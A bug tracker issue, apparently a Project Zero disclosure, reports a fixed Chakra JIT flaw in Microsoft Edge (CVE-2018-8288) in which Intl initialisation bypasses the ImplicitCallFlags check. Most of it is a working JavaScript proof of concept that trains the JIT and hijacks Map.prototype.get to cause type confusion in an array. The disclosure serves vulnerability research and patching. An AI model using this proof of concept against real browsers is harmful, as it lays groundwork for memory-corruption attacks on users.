New issue
Advanced search Search tips

Issue 1565 link

Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Closed: Jul 11
Cc:



Sign in to add a comment

Microsoft Edge: Chakra: JIT: ImplicitCallFlags check bypass with Intl

Project Member Reported by lokihardt@google.com, Apr 20 2018

Issue description

If the Intl object hasn't been initialized, access to any property of it will trigger the initialization process which will run Intl.js. The problem is that it runs Intl.js without caring about the ImplicitCallFlags flag.

In the PoC, it redefines Map.prototype.get to intercept the execution of Intl.js.

PoC:
function opt(arr, obj) {
    arr[0] = 1.1;
    obj.x;
    arr[0] = 2.3023e-320;
}

let arr = [1.1];
for (let i = 0; i < 0x10000; i++) {
    opt(arr, {});
}

let get = Map.prototype.get;
Map.prototype.get = function (key) {
    Map.prototype.get = get;

    arr[0] = {};

    return this.get(key);
};

opt(arr, Intl);

alert(arr[0]);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

 
Project Member

Comment 1 by lokihardt@google.com, Jul 11

Labels: CVE-2018-8288
Status: Fixed (was: New)
Project Member

Comment 2 by lokihardt@google.com, Aug 17

Labels: -Restrict-View-Commit

Sign in to add a comment